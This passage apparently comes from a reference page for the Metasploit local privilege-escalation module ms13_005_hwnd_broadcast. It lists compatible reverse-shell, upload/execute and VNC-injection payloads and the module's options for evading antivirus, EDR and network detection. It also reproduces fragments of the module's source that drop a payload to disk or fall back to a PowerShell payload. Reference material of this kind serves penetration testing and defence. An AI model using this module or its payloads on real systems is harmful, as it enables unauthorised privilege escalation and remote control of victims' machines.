   152  payload/windows/upexec/bind_nonx_tcp                                         normal  No     Windows Upload/Execute, Bind TCP Stager (No NX or Win7)
   153  payload/windows/upexec/bind_tcp                                              normal  No     Windows Upload/Execute, Bind TCP Stager (Windows x86)
   154  payload/windows/upexec/bind_tcp_rc4                                          normal  No     Windows Upload/Execute, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   155  payload/windows/upexec/bind_tcp_uuid                                         normal  No     Windows Upload/Execute, Bind TCP Stager with UUID Support (Windows x86)
   156  payload/windows/upexec/reverse_ipv6_tcp                                      normal  No     Windows Upload/Execute, Reverse TCP Stager (IPv6)
   157  payload/windows/upexec/reverse_nonx_tcp                                      normal  No     Windows Upload/Execute, Reverse TCP Stager (No NX or Win7)
   158  payload/windows/upexec/reverse_ord_tcp                                       normal  No     Windows Upload/Execute, Reverse Ordinal TCP Stager (No NX or Win7)
   159  payload/windows/upexec/reverse_tcp                                           normal  No     Windows Upload/Execute, Reverse TCP Stager
   160  payload/windows/upexec/reverse_tcp_allports                                  normal  No     Windows Upload/Execute, Reverse All-Port TCP Stager
   161  payload/windows/upexec/reverse_tcp_dns                                       normal  No     Windows Upload/Execute, Reverse TCP Stager (DNS)
   162  payload/windows/upexec/reverse_tcp_rc4                                       normal  No     Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   163  payload/windows/upexec/reverse_tcp_rc4_dns                                   normal  No     Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   164  payload/windows/upexec/reverse_tcp_uuid                                      normal  No     Windows Upload/Execute, Reverse TCP Stager with UUID Support
   165  payload/windows/upexec/reverse_udp                                           normal  No     Windows Upload/Execute, Reverse UDP Stager with UUID Support
   166  payload/windows/vncinject/bind_hidden_ipknock_tcp                            normal  No     VNC Server (Reflective Injection), Hidden Bind Ipknock TCP Stager
   167  payload/windows/vncinject/bind_hidden_tcp                                    normal  No     VNC Server (Reflective Injection), Hidden Bind TCP Stager
   168  payload/windows/vncinject/bind_ipv6_tcp                                      normal  No     VNC Server (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
   169  payload/windows/vncinject/bind_ipv6_tcp_uuid                                 normal  No     VNC Server (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
   170  payload/windows/vncinject/bind_named_pipe                                    normal  No     VNC Server (Reflective Injection), Windows x86 Bind Named Pipe Stager
   171  payload/windows/vncinject/bind_nonx_tcp                                      normal  No     VNC Server (Reflective Injection), Bind TCP Stager (No NX or Win7)
   172  payload/windows/vncinject/bind_tcp                                           normal  No     VNC Server (Reflective Injection), Bind TCP Stager (Windows x86)
   173  payload/windows/vncinject/bind_tcp_rc4                                       normal  No     VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   174  payload/windows/vncinject/bind_tcp_uuid                                      normal  No     VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)
   175  payload/windows/vncinject/reverse_hop_http                                   normal  No     VNC Server (Reflective Injection), Reverse Hop HTTP/HTTPS Stager
   176  payload/windows/vncinject/reverse_http                                       normal  No     VNC Server (Reflective Injection), Windows Reverse HTTP Stager (wininet)
   177  payload/windows/vncinject/reverse_http_proxy_pstore                          normal  No     VNC Server (Reflective Injection), Reverse HTTP Stager Proxy
   178  payload/windows/vncinject/reverse_ipv6_tcp                                   normal  No     VNC Server (Reflective Injection), Reverse TCP Stager (IPv6)
   179  payload/windows/vncinject/reverse_nonx_tcp                                   normal  No     VNC Server (Reflective Injection), Reverse TCP Stager (No NX or Win7)
   180  payload/windows/vncinject/reverse_ord_tcp                                    normal  No     VNC Server (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
   181  payload/windows/vncinject/reverse_tcp                                        normal  No     VNC Server (Reflective Injection), Reverse TCP Stager
   182  payload/windows/vncinject/reverse_tcp_allports                               normal  No     VNC Server (Reflective Injection), Reverse All-Port TCP Stager
   183  payload/windows/vncinject/reverse_tcp_dns                                    normal  No     VNC Server (Reflective Injection), Reverse TCP Stager (DNS)
   184  payload/windows/vncinject/reverse_tcp_rc4                                    normal  No     VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   185  payload/windows/vncinject/reverse_tcp_rc4_dns                                normal  No     VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   186  payload/windows/vncinject/reverse_tcp_uuid                                   normal  No     VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support
   187  payload/windows/vncinject/reverse_winhttp                                    normal  No     VNC Server (Reflective Injection), Windows Reverse HTTP Stager (winhttp)

Evasion Options


Here is the full list of possible evasion options supported by the windows/local/ms13_005_hwnd_broadcast exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(windows/local/ms13_005_hwnd_broadcast) > show evasion

Module evasion options:

   Name                  Current Setting  Required  Description
   ----                  ---------------  --------  -----------
   HTTP::chunked         false            no        Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
   HTTP::compression     none             no        Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
   HTTP::header_folding  false            no        Enable folding of HTTP headers
   HTTP::junk_headers    false            no        Enable insertion of random junk HTTP headers
   HTTP::no_cache        false            no        Disallow the browser to cache HTTP content
   HTTP::server_name     Apache           yes       Configures the Server header of all outgoing replies
   TCP::max_send_size    0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay       0                no        Delays inserted before every send.  (0 = disable)

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Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Running module against <COMPUTER>


Here is a relevant code snippet related to the "Running module against <COMPUTER>" error message:

129:	  end
130:	
131:	  def exploit
132:	    # First of all check if the session is running on Low Integrity Level.
133:	    # If it isn't doesn't worth continue
134:	    print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil?
135:	    fail_with(Failure::NotVulnerable, "Not running at Low Integrity!") unless low_integrity_level?
136:	
137:	    # If the user prefers to drop payload to FILESYSTEM, try to cd to %TEMP% which
138:	    # hopefully will be "%TEMP%/Low" (IE Low Integrity Process case) where a low
139:	    # integrity process can write.

Not running at Low Integrity!


Here is a relevant code snippet related to the "Not running at Low Integrity!" error message:

130:	
131:	  def exploit
132:	    # First of all check if the session is running on Low Integrity Level.
133:	    # If it isn't doesn't worth continue
134:	    print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil?
135:	    fail_with(Failure::NotVulnerable, "Not running at Low Integrity!") unless low_integrity_level?
136:	
137:	    # If the user prefers to drop payload to FILESYSTEM, try to cd to %TEMP% which
138:	    # hopefully will be "%TEMP%/Low" (IE Low Integrity Process case) where a low
139:	    # integrity process can write.
140:	    drop_to_fs = false

Failed to drop payload to File System, will try to execute the payload from PowerShell, which requires HTTP access.


Here is a relevant code snippet related to the "Failed to drop payload to File System, will try to execute the payload from PowerShell, which requires HTTP access." error message:

149:	          print_good("Payload dropped successfully, exploiting...")
150:	          drop_to_fs = true
151:	          register_file_for_cleanup(payload_file)
152:	          payload_path = tmp_dir
153:	        else
154:	          print_error("Failed to drop payload to File System, will try to execute the payload from PowerShell, which requires HTTP access.")
155:	          drop_to_fs = false
156:	        end
157:	      rescue ::Rex::Post::Meterpreter::RequestError
158:	        print_error("Failed to drop payload to File System, will try to execute the payload from PowerShell, which requires HTTP access.")
159:	        drop_to_fs = false

Failed to drop payload to File System, will try to execute the payload from PowerShell, which requires HTTP access.


Here is a relevant code snippet related to the "Failed to drop payload to File System, will try to execute the payload from PowerShell, which requires HTTP access." error message:

153:	        else
154:	          print_error("Failed to drop payload to File System, will try to execute the payload from PowerShell, which requires HTTP access.")
155:	          drop_to_fs = false
156:	        end
157:	      rescue ::Rex::Post::Meterpreter::RequestError
158:	        print_error("Failed to drop payload to File System, will try to execute the payload from PowerShell, which requires HTTP access.")
159:	        drop_to_fs = false
160:	      end
161:	    end
162:	
163:	    if drop_to_fs

WARNING: It can take a LONG TIME to broadcast the cmd script to execute the powershell command line payload


Here is a relevant code snippet related to the "WARNING: It can take a LONG TIME to broadcast the cmd script to execute the powershell command line payload" error message:

165:	      make_it(command)
166:	    elsif datastore['TECHNIQUE'] == 'TYPE'
167:	      if datastore['CUSTOM_COMMAND']
168:	        command = datastore['CUSTOM_COMMAND']
169:	      else
170:	        print_warning("WARNING: It can take a LONG TIME to broadcast the cmd script to execute the powershell command line payload")
171:	        command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
172:	      end
173:	      make_it(command)
174:	    else
175:	      super

No Cmd Prompt spawned


Here is a relevant code snippet related to the "No Cmd Prompt spawned" error message:

216:	        end
217:	      end
218:	
219:	      client.sys.process.kill(li_cmd_pid)
220:	
221:	      fail_with(Failure::Unknown, "No Cmd Prompt spawned") unless spawned
222:	    end
223:	
224:	    print_status("Broadcasting payload command to prompt... I hope the user is asleep!")
225:	    multi_rail = []
226:	    command.each_char do |c|

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References


See Also


Check also the following modules related to this module:

Related Nessus plugins:

Authors


  • Tavis Ormandy
  • Axel Souchet
  • Ben Campbell

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

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